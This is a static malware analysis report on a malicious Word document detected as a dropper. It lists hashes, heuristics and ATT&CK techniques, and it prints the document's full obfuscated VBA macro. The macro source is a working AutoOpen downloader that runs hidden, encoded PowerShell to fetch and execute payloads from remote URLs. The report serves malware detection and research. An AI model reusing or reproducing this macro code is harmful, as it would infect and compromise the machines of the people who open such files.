Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5d7747890fdb6050…

MALICIOUS

Office (OLE)

108.2 KB Created: 2018-05-31 15:22:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: 135e457f1700ac324d3b917f33f5d8b9 SHA-1: f00ab001e6dda000525620627c9027c479f04d7f SHA-256: 5d7747890fdb605006fedf1c1cd14decc61170af8b400af08ecd78a327892ee2
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The 'Autoopen' subroutine triggers a function that uses the VBA 'Shell' command to execute a string. This string is obfuscated but appears to be constructing a command to run PowerShell with hidden window and encoded commands, indicating a downloader or dropper functionality. The ClamAV detection name 'Doc.Dropper.Agent-6566851-0' further supports this assessment.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6566851-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6566851-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    End Select
wDhjPJDzBAE = McKzObjG + Shell(QfDHpZ + Chr(vbKeyP) + PrwXLDAl + diJDXmzY + MFqCVUoccA + WBlXRdG + qNPtJ + CiaJnU + vlTPz, VkNOwNvA + vbHide + BijcVRktBMz)
Select Case KAlWwqNiF
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub Autoopen()
On Error Resume Next
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16976 bytes
SHA-256: 6d1ad468a0aab3b6c7b0c872f1c87726c0d414563c56f144590d207acfa5da0e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SNQPNpiQwb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function wDhjPJDzBAE()
On Error Resume Next
Select Case KAlrcOiOT
      Case 95923
         aSADc = 58573
         ztHiVV = CDbl(97772)
      Case 45802
         TzJdt = TfWvr
         DpUczC = 4467
End Select
Select Case KAlJlwlZa
      Case 42725
         ldYtE = 81627
         OJUiX = CDbl(98245)
      Case 40681
         jnwtDm = XSwfO
         DXDTjR = 89448
End Select
wDhjPJDzBAE = McKzObjG + Shell(QfDHpZ + Chr(vbKeyP) + PrwXLDAl + diJDXmzY + MFqCVUoccA + WBlXRdG + qNPtJ + CiaJnU + vlTPz, VkNOwNvA + vbHide + BijcVRktBMz)
Select Case KAlWwqNiF
      Case 36925
         YitoEP = 97108
         jSPfFG = CDbl(93409)
      Case 49365
         cLlQLr = aoKpFj
         hmuuS = 71916
End Select
End Function
Sub Autoopen()
On Error Resume Next
Select Case KAlinZamN
      Case 3725
         mQBRl = 4779
         hMMnLN = CDbl(31160)
      Case 10665
         Xzuis = MioBw
         MqYdf = 21785
End Select
wDhjPJDzBAE
Select Case KAltnovV
      Case 74480
         hhiZM = 27065
         PCnTTW = CDbl(52060)
      Case 7550
         ckEXU = oKjCP
         VjEYv = 74925
End Select
End Sub


Attribute VB_Name = "izOokpwolJM"
Function PrwXLDAl()
On Error Resume Next
Select Case KAlwmPiEK
      Case 87315
         sOifN = 54166
         qsOwcI = CDbl(35195)
      Case 81168
         VqaIkC = jZttVD
         nqwriT = 13960
End Select
fosUlRivHi = "owers" + "HeLL -WinDowsT" + "yle hidde" + "n -e IA" + "AoACcAVAAnAC"
Select Case KAlzQaSEk
      Case 1553
         oivbJ = 27385
         kiqRzG = CDbl(38297)
      Case 66998
         mubFd = jXhfs
         iSwMi = 30581
End Select
jbSOdlOM = "sAJwBlAG8A" + "bgBzACcAKwA" + "nAGEAZAAnACsA" + "JwBhACcAKwAnA" + "HMAZAA" + "gAD0AIAAmAC"
Select Case KAlPZcoZ
      Case 13467
         IsBHk = 57479
         DfJJuf = CDbl(46113)
      Case 88906
         tdVYC = sFRqO
         zJGBw = 30178
End Select
iotfRbX = "gAJwArACcAS" + "ABDAFM" + "AbgBIACcAKwAnAE" + "MAJwArAC" + "cAUwArA" + "CcAKwA"
Select Case KAlrWauO
      Case 55024
         moDnkh = 40473
         iKDiL = CDbl(86281)
      Case 631
         ptPOFV = HvPQC
         TiGwX = 56863
End Select
KUjJi = "nAEgAQwBTA" + "CcAKwAn" + "AGUASABDAFMAKw" + "AnACsAJwBIAEMAU" + "wB3AC0Abw" + "BiACcAKw"
Select Case KAlCiGhw
      Case 92981
         wwQEOr = 50597
         BzOZQk = CDbl(91793)
      Case 83411
         RSwPb = lnPwtL
         hPJvHJ = 59949
End Select
PkcPzbchXf = "AnAGoAZQ" + "BjAEgA" + "JwArACcAQwB" + "TACsAJwArACc" + "ASABDA" + "FMAdABIAEMAU"
PrwXLDAl = fosUlRivHi + jbSOdlOM + iotfRbX + KUjJi + PkcPzbchXf
End Function
Function diJDXmzY()
On Error Resume Next
Select Case KAlBLcjh
      Case 12854
         wMTGml = 31554
         wLUAiQ = CDbl(99167)
      Case 89793
         YNRwPV = mMIPGV
         tqEpCd = 74553
End Select
vFZZH = "wAnACsAJwApAC" + "AAcgBhACcAKwA" + "nAG4AZA" + "BvAG0AO" + "wBUACcAKw" + "AnAGUAJw" + "ArACcAbwBZAF" + "kAJwArACcAVQAgA"
Select Case KAlBRjLj
      Case 74015
         AuBQv = 21570
         oiirp = CDbl(38832)
      Case 51161
         AZcfaK = bzRuzM
         PElrd = 23011
End Select
USXGAsSrRDj = "D0AIAAuAC" + "gAJwArACc" + "ASABDAFMAJwArA" + "CcAbgBlA" + "EgAQwB" + "TACsASABDAFMAdw" + "AnACsAJwBIAEM" + "AUwArACcAKwAnA" + "EgAQwBTACcAKwAn"
Select Case KAlNpaUa
      Case 3775
         GKnSw = 48083
         JjELw = CDbl(48805)
      Case 38135
         zBLHo = iFwqO
         mkBKA = 15526
End Select
zWAQIXhtwM = "AC0AbwAnACsAJw" + "BiACcAKwAnAGo" + "AZQAnACsAJwBjAH" + "QASABDACcAKwAn"
Select Case KAlUmdbA
      Case 75452
         FUhffm = 88933
         pZISN = CDbl(3384)
      Case 54048
         pcjKd = htKqT
         SWZLUE = 26070
End Select
JXBUvSjIK = "AFMAKQAgAF" + "MAeQBzAHQAZQA" + "nACsA" + "JwBtAC4AJwA" + "rACcATgAnACsAJ" + "wBlAHQAJwAr" + "ACcALgBXAGU" + "AJwArA"
Select Case KAlYSLcU
      Case 57140
         cBhuDs = 63954
         zRcGjn = CDbl(75582)
      Case 39783
         SurTzz = JoSjWR
         pzfEs = 55506
End Select
fTGGv = "CcAYg" + "BDACcA" + "KwAnAGwAJwArA" + "CcAaQBlAG"
Select Case KAlPHkhau
      Case 83255
         hWlwWJ = 49329
         adEjkP = CDbl(49714)
      Case 1199
         iJmGA = vrsDnG
         ZDHLGw = 91264
End Select
EIDZqd = "4AdAA" + "nACsAJwA7AFQAZQ" + "BvAE4AUwA" + "nACsAJwBC" + "ACcAKwAn" + "ACAAPQAgAFQAZ" + "QBvAG4AJwAr" + "ACcAcwAnACs" + "AJwBhAGQ" + "AYQBzAGQALgB"
Select Case KAluwQNF
      Case 52085
         tLzhkQ = 84310
         ErjmqG = CDbl(57729)
      Case 11446
         joEAcY = dFtnK
         tvIGw = 63202
End Select
WKXWMITP = "uAGUAe" + "AAnACsAJw" + "B0ACgAMQAnA" + "CsAJwAwADAAMA" + "AwACcAKwAn" + "ACwAIAAyAC" + "cAKwAnADg" + "AMgAxAD"
Select Case KAlGVVhS
      Case 5649
         aJFRQ = 85840
         jRWnRm = CDbl(82936)
      Case 7432
         WDahwl = jIzCjK
         WhZEi = 38779
End Select
LinOzNdDbm = "MAMwAnACsAJw" + "ApACcAKwAnADsAV" + "ABlAG8A" + "QQAnACsAJwBEA" + "EMAWAAgA" + "D0AJw" + "ArACcA" + "IAAnACsAJwBI"
Select Case KAlbXSsMi
      Case 71601
         juMCq = 97925
         sVVpiV = CDbl(18987)
      Case 37224
         wVzzFs = IjfvjI
         mHtQbC = 82032
End Select
PcBUc = "AEMAUwANAAo" + "AaAB0AHQAJwA" + "rACcAc" + "AA6AC8AJwArACc"
Select Case KAlUTtpDj
      Case 87614
         iREcuq = 59573
         NoMDSL = CDbl(6725)
      Case 93858
         fjhkFi = zUBfG
         owPuB = 57398
End Select
OhnwfjTKm = "ALwBmAGUA" + "bABpAHg" + "AdQAn" + "ACsAJwBjAG8AJw" + "ArACc" + "ALgBjACcAKwAnAG" + "8AbQAnAC" + "sAJwAvAGkA"
diJDXmzY = vFZZH + USXGAsSrRDj + zWAQIXhtwM + JXBUvSjIK + fTGGv + EIDZqd + WKXWMITP + LinOzNdDbm + PcBUc + OhnwfjTKm
End Function
Function MFqCVUoccA()
On Error Resume Next
Select Case KAlfuvcIC
      Case 73803
         nLJPwF = 46209
         LEYinc = CDbl(50357)
      Case 79011
         izANoY = ZUElo
         cCwZM = 17102
End Select
sPHjHzn = "QwBNACcAKwA" + "nAGwAV" + "QBqAGg" + "AJwArACcA" + "QgAnACsAJwA" + "1AGIALwBAAGgAd" + "AB0ACcAKwAn" + "AHAAOgAvAC8A" + "cgBpA"
Select Case KAlPJKQzD
      Case 79681
         voCUGc = 56570
         lcwmz = CDbl(81203)
      Case 54740
         mLGcV = NQRwjV
         kOlihi = 60298
End Select
zBzSR = "G8AaQ" + "BuAGYA" + "bwAnA" + "CsAJwBzACcAK"
Select Case KAlQhczw
      Case 20109
         NVtZhK = 56353
         wNGIbm = CDbl(6509)
      Case 18858
         ITBOND = LzzWd
         cZbQDv = 5964
End Select
owoMRMGjfAB = "wAnAC4AYwBvAC" + "cAKwAnAG0" + "ALgBiAHIAJwArA" + "CcALwBz" + "AE8AeAB" + "3AG0AQwAvAEA" + "AaAB0AHQA" + "cAA6AC8A"
Select Case KAlobGao
      Case 41496
         VEPNXi = 82780
         IiASbN = CDbl(69407)
      Case 21551
         KSkhj = iIGjU
         uoYirp = 86299
End Select
tSDQYjDn = "JwArACcALwB0" + "AHIAJwA" + "rACcAYQBuAHMAaQ" + "BlAG4AdABt" + "AGUAZAAnAC" + "sAJwBpA"
Select Case KAlJFvlvT
      Case 66908
         dbwDQ = 240
         Vkspu = CDbl(62865)
      Case 9494
         zWlNu = jkYrbz
         XwlNb = 60760
End Select
pFUVWKvpk = "GEAZwByACcAKwAn" + "AG8AdQAn" + "ACsAJwBwAC4A" + "YwBvAG0ALwAn"
Select Case KAlfnQauX
      Case 5188
         wAwCEo = 91534
         KFobt = CDbl(82933)
      Case 45748
         pCLwm = bSBal
         GKSWY = 73818
End Select
jwvcaUmCF = "ACsAJwBNAD" + "MAQwBD" + "AEsALwBAAGgAdAB" + "0AHAAJwArACc"
Select Case KAlXsYsQc
      Case 69362
         HmEloP = 6732
         rMELrY = CDbl(61628)
      Case 3666
         CjIzmS = HFzUQ
         vWBfT = 61777
End Select
hPBIbq = "AOgAvAC8Ac" + "wB1ACcAKwAnAH" + "AAZQAnACsAJwBy" + "AGQAbw" + "B0AC4AcgB" + "zAC8AUwBaA" + "CcAKwAnAE" + "4AbAAnACsAJ" + "wBaAE0AJwA" + "rACcAYQByAE"
Select Case KAlozwDYb
      Case 19552
         buzMW = 26983
         sbbVU = CDbl(2467)
      Case 58473
         PjVhQi = LEzEp
         nFaLI = 65796
End Select
dbGmKJpGb = "4AMwA" + "vAEAAa" + "AB0AHQAcAA6" + "AC8ALwAnACsAJ"
MFqCVUoccA = sPHjHzn + zBzSR + owoMRMGjfAB + tSDQYjDn + pFUVWKvpk + jwvcaUmCF + hPBIbq + dbGmKJpGb
End Function
Function WBlXRdG()
On Error Resume Next
Select Case KAlLAHuwi
      Case 57433
         DwMvKP = 62950
         DttmR = CDbl(65571)
      Case 89093
         RYIFW = JLTwX
         bbliE = 68007
End Select
dvjMo = "wBzAHQ" + "AbwBsAHAAZQA" + "nACsAJwBuAGMAb" + "wBuAHMA" + "dQBsAHQAaQAnACs" + "AJwBuAG"
Select Case KAlGnIfp
      Case 12354
         WSOvOd = 12540
         cYZYDC = CDbl(78325)
      Case 531
         LrRscI = iiZoY
         sTwli = 84236
End Select
OuAwACWopP = "cALgAnACsAJwBj" + "AG8AbQAvAHAAUgA" + "2AHQAUA" + "BuAC8ASABDAFMAL"
Select Case KAlXjuIfw
      Case 24997
         fjFRn = 62028
         zostJ = CDbl(5368)
      Case 25838
         DSWTfG = RYwDF
         zJMdvD = 5183
End Select
iYBGvrjfUNh = "gAnACs" + "AJwBTAHAAbA" + "BpAHQAKABIAE" + "MAJwArAC" + "cAUwBAAE"
Select Case KAlUWkcY
      Case 40781
         tkiuJ = 7137
         pIfhCF = CDbl(28571)
      Case 64848
         kasAi = QOzKij
         lqHlPX = 76117
End Select
jaaWB = "gAQwBTAC" + "kAJwArACcAO" + "wAnACsAJwBUAGU" + "AbwBTAEQAQwAg" + "AD0AIA" + "BUAGUAbwBlAG4AJ" + "wArAC"
Select Case KAlIvYHT
      Case 7379
         OAwnmB = 661
         jVfNU = CDbl(37893)
      Case 89782
         ZHtXoZ = qquFc
         TtLbRA = 98336
End Select
bWDkUu = "cAdgA6AH" + "AAdQB" + "iAGwAaQ" + "BjACAAJwArACcA" + "KwAgACcAKwAnAE" + "gAQwB" + "TAFgAJwArACc" + "AaAAnACsA"
Select Case KAlqwulp
      Case 52001
         jJTvN = 93014
         zZjKoj = CDbl(11762)
      Case 92680
         wYWMbU = CTvliK
         lzwBGh = 51878
End Select
ISIwWi = "JwBXACcAK" + "wAnAEgAQ" + "wBTACAAKwAgA" + "FQAZQA" + "nACsAJw" + "BvACc" + "AKwAnAE4AUwBCA" + "CAAKwAgA" + "CcAKwAn"
Select Case KAlOiVtl
      Case 90242
         LPHuE = 96122
         SOoPX = CDbl(31229)
      Case 53121
         LQpav = pizPR
         Knrijr = 91272
End Select
ZHujSUZ = "ACgASAAnACsAJ" + "wBDACcAKwAnAFM" + "ALgBlAHgAJw" + "ArACcASABDA"
WBlXRdG = dvjMo + OuAwACWopP + iYBGvrjfUNh + jaaWB + bWDkUu + ISIwWi + ZHujSUZ
End Function
Function qNPtJ()
On Error Resume Next
Select Case KAlfdnFB
      Case 46429
         kNrJKj = 91868
         FDLzw = CDbl(41723)
      Case 64759
         fnMDf = FjjUT
         hckYXi = 11104
End Select
fCLWpqEBZKT = "FMAJwArACcAKwBI" + "AEMAJ" + "wArACcAUwBlAEg" + "AQwBTACcAKwAnA" + "CkAJw" + "ArACcAOw" + "AnACsAJ"
Select Case KAlHFGCO
      Case 30211
         fYrwmw = 39822
         RpVBN = CDbl(15167)
      Case 21295
         pPJpcT = cSPMAZ
         KoPkZI = 78552
End Select
VdmFMSuEiLT = "wBmACcAKwAnAG8A" + "cgBlAC" + "cAKwAnAGE" + "AYwBoACgAJ"
Select Case KAlhoNUS
      Case 67349
         csNwd = 31834
         FZJMlP = CDbl(61215)
      Case 42773
         Uikfjl = iCnThU
         IBDaqX = 99125
End Select
SzBfh = "wArACcAVABlAG8" + "AYQBz" + "AGYAYwAg" + "AGkAbgAgACcAK"
Select Case KAlwQXjp
      Case 51164
         XZqLD = 86869
         hDVqPf = CDbl(88561)
      Case 79642
         FkzBLh = pwlQlU
         zwCUf = 27702
End Select
hskRp = "wAnAFQAZQBvAEEA" + "JwArA" + "CcARABDA" + "CcAKwAnAFgAJw" + "ArACcAKQ" + "B7AHQAcgAnACsA" + "JwB5AHsAVA"
Select Case KAlWRjWTz
      Case 8478
         HUJHTR = 97644
         ZCpkAM = CDbl(33131)
      Case 55715
         MwYuNK = bTjTN
         rhkqrR = 12356
End Select
FzjStQ = "BlACcAKwAnAG8" + "AWQBZAFUALgBPAG" + "IAdwBEAG8A" + "MQBiAE" + "EAJwArAC" + "cAVwBuAGw" + "AJwArACc" + "AMQAnACsAJwB"
Select Case KAlAqwDdR
      Case 80653
         cJAGWH = 7388
         EtJvjA = CDbl(66638)
      Case 61092
         tLIzKV = WVLFar
         sYwqZS = 14005
End Select
wBbUADk = "iACcAKwAnAEEATw" + "BhAGQAJw" + "ArACcARgB" + "JACcAKwAnA" + "DEAJwArAC" + "cAYgB" + "BAGwAJwAr"
qNPtJ = fCLWpqEBZKT + VdmFMSuEiLT + SzBfh + hskRp + FzjStQ + wBbUADk
End Function
Function CiaJnU()
On Error Resume Next
Select Case KAlkdFmz
      Case 14480
         wAHSY = 67948
         hfSoA = CDbl(69125)
      Case 2499
         wFMJRW = KJNXka
         uXXsLW = 22275
End Select
uVvcPLYFTYI = "ACcAZ" + "QBPAGIAdwAoAFQ" + "AZQAnACsAJwBv" + "ACcAKwAnAG" + "EAJwArACc" + "AcwAnACs" + "AJwBmAGMALgBPAG" + "IAdwAnA" + "CsAJwBU" + "AG8AUw"
Select Case KAlHSBlqR
      Case 45064
         SXHpfz = 48899
         qoPqwF = CDbl(2673)
      Case 96859
         DkvQIY = jzzuIf
         RmYuAd = 72488
End Select
qPiYXijo = "AnACsAJwB0AH" + "IAMQBi" + "AEEAaQAn" + "ACsAJw" + "AxAGIAQQB"
Select Case KAluwkBXG
      Case 41325
         CRCGn = 63271
         UJwcFf = CDbl(3698)
      Case 59883
         LHwDZK = UuEqw
         GAYOzv = 55972
End Select
wSASfzWbTc = "OAGcA" + "TwBiAHc" + "AKAApACcAKwA" + "nACwAIAAn" + "ACsAJwB" + "UAGUAbwBTAEQAQw" + "ApADsAJg" + "AoAEgAJwArACcAQ" + "wBTAEkAbgB2AG8A" + "SABDAFMAKwAnA"
Select Case KAlZskKE
      Case 71141
         AjTsT = 8606
         PISarP = CDbl(65135)
      Case 22619
         qfnDwE = jGCamP
         sUZAT = 27130
End Select
mQvujMF = "CsAJwBIAEMAU" + "wBrAEgAQw" + "AnACsAJwB" + "TACsAJ" + "wArACcASAB" + "DAFMAJwArAC" + "cAZQAtAEkAdAAnA" + "CsAJwBlAG0AS" + "ABDAFMAJwA"
Select Case KAlzdcPlP
      Case 92157
         DNXNI = 88577
         RhDwon = CDbl(73219)
      Case 33048
         EAvZFS = NzwsC
         oMovH = 5721
End Select
TXlKYjPFVtp = "rACcA" + "KQAnACsAJw" + "AoAFQ" + "AZQBvAFMARABD" + "ACcAKwAnA" + "CkAOwBi" + "ACcAKwAnAHIAZQ" + "AnACsAJwBhAG" + "sAOwAnAC" + "sAJwB9AGMAYQB0A"
Select Case KAlCYGTOD
      Case 84992
         XZzLMz = 21101
         UWTlzJ = CDbl(30285)
      Case 19824
         cGtqI = jjcbfu
         LCaSqY = 1640
End Select
noamfiAz = "GMAJwArACcA" + "aAB7AH0" + "AfQAnACkALgByAG" + "UAcABMAGEAQ" + "wBFACgAJwB" + "UAGUAbwA"
Select Case KAlpNdcTY
      Case 76683
         rsIvS = 71919
         zGOjRc = CDbl(69169)
      Case 42254
         qsLQLi = rJUms
         NpUsR = 71092
End Select
HnmEnwsPVh = "nACwAJ" + "wAkACcAKQAuAH" + "IAZQBwAEwAYQBDA" + "EUAKAAoAFsAQwB" + "oAGEAcgBdA" + "DcAMgArAFsAQw" + "BoAGEAcgBdADYA" + "NwArAFsAQwBoA" + "GEAcgBdADgAM" + "wApACwAWwBTAF"
Select Case KAlXwJZFb
      Case 22827
         sjEFrw = 73676
         NXGMZR = CDbl(73917)
      Case 96356
         EjtZLZ = zmIrj
         LjSqza = 29645
End Select
zsDXUajSYY = "QAcgBJAG4ARwBd" + "AFsAQwBoAGE" + "AcgBd" + "ADMAOQApAC4A" + "cgBlAHAATAB" + "hAEMARQAoACcA" + "MQBiAEEAJw" + "AsAFsAUwBUAHI" + "ASQBuA" + "EcAXQBbAEMAaABh"
CiaJnU = uVvcPLYFTYI + qPiYXijo + wSASfzWbTc + mQvujMF + TXlKYjPFVtp + noamfiAz + HnmEnwsPVh + zsDXUajSYY
End Function
Function vlTPz()
On Error Resume Next
Select Case KAlARbOGU
      Case 20398
         IFMLb = 804
         SDjJtG = CDbl(8748)
      Case 80953
         rbMWtj = MiRDR
         KFEAa = 57693
End Select
XQwdAhzw = "AHIAXQA5ADYAKQA" + "uAHIAZQBw" + "AEwAYQBD" + "AEUAKAA" + "oAFsAQwBo" + "AGEAcgB"
Select Case KAlfXKKr
      Case 269
         TQWawb = 62914
         iIniZ = CDbl(76199)
      Case 99977
         JwbAta = sjanP
         RBftw = 97197
End Select
svopnfciVj = "dADcAOQArAFsAQw" + "BoAGEAcgBdADkAO" + "AArAFsAQ" + "wBoAGEAcgB"
Select Case KAlMrHpln
      Case 50900
         MwEOfu = 761
         QztsM = CDbl(56220)
      Case 88685
         oRDMH = kcpEQ
         plPGA = 17352
End Select
iJBddS = "dADEAMQA5ACk" + "ALABbAFMAVAByA" + "EkAbgBHAF0AWwB" + "DAGgAYQByAF0AM" + "wA0ACkALg" + "ByAGUAcABMAGE"
Select Case KAljVYjYR
      Case 74549
         uDFjj = 94527
         BTjNoE = CDbl(22595)
      Case 54249
         aihZf = nsCzKA
         iivVu = 81014
End Select
UOjvaXn = "AQwBFACgAJwBYAG" + "gAVwAnACwAWwBT" + "AFQAc" + "gBJAG4A" + "RwBdAFsAQwB" + "oAGEAcg" + "BdADkA"
Select Case KAljVjVD
      Case 70392
         WmUbXt = 98251
         ujNjL = CDbl(30103)
      Case 26485
         mmlllE = TJVCq
         zMVun = 32292
End Select
BiOzzdb = "MgApACAAfAAg" + "ACYAKAAg" + "ACgAWwB" + "zAFQAUgBpAG" + "4AZwBdACQAVg" + "BFAFIAYg" + "BPAHMARQBwAFIA"
Select Case KAliVmGQ
      Case 48982
         MHLfJV = 79447
         iSwKSV = CDbl(3743)
      Case 35179
         qIDwX = oXwIwQ
         fVLTF = 22325
End Select
GsEhhwqjUT = "ZQBmAEUAUgBFA" + "E4AQwB" + "FACkAWwAxA" + "CwAMwBdACsA" + "JwB4ACcA" + "LQBqAG8ASQBO"
Select Case KAlqtVPDd
      Case 6698
         cwkjDk = 30050
         WooPW = CDbl(13890)
      Case 20660
         rdimd = wPqTLz
         nstotv = 840
End Select
ZaZIrEFr = "ACcAJwApAA" + "=="
vlTPz = XQwdAhzw + svopnfciVj + iJBddS + UOjvaXn + BiOzzdb + GsEhhwqjUT + ZaZIrEFr
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.